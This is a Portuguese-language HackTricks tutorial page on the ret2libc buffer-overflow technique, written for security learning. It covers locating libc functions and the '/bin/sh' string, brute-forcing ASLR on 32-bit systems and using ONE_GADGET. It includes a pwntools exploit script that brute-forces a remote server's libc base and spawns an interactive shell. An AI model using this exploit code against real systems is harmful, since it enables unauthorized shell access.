hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md

# Ret2lib

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>

## **Informações Básicas**

A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.

### **Passos de Exemplo (simplificados)**

* Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
* Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função

## Encontrando os endereços

* Supondo que a `libc` usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com:

{% code overflow="wrap" %}
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
{% endcode %}

Se quiser verificar se o ASLR está alterando o endereço da libc, você pode fazer:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função `system` com:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função da string `/bin/sh` com:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Usando gdb-peda / GEF

Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**:
```
p system
p exit
find "/bin/sh"
```
### Usando /proc/\<PID>/maps

Se o processo estiver criando **filhos** toda vez que você interage com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).

Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.

![](<../../../../.gitbook/assets/image (95).png>)

Neste caso, ela está carregada em **0xb75dc000** (Este será o endereço base da libc)

## Libc desconhecida

Pode ser possível que você **não saiba qual libc a binário está carregando** (porque pode estar localizada em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:

{% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/)
{% endcontent-ref %}

E você pode encontrar um modelo do pwntools para isso em:

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
{% endcontent-ref %}

## Bypassing ASLR em 32 bits

Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.

* Se o exploit for local, você pode tentar forçar a base de endereços da libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.

## ONE\_GADGET

[**ONE\_GADGET**](https://github.com/david942j/one\_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, basta enviar mais valores NULL para evitar a restrição.

![](<../../../../.gitbook/assets/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## Exemplo de Código x86 Ret2lib

Neste exemplo, o ASLR brute-force está integrado no código e o binário vulnerável está localizado em um servidor remoto:
```python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## Exemplo de Código x64 Ret2lib

Verifique o exemplo em:

{% content-ref url="../rop-return-oriented-programing.md" %}
[rop-return-oriented-programing.md](../rop-return-oriented-programing.md)
{% endcontent-ref %}

## Ret-into-printf (ou puts)

Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento.

## Ret2printf

Basicamente significa abusar de um **Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato `printf`** usando o `ret2lib` para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):

{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras maneiras de apoiar o HackTricks:

* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>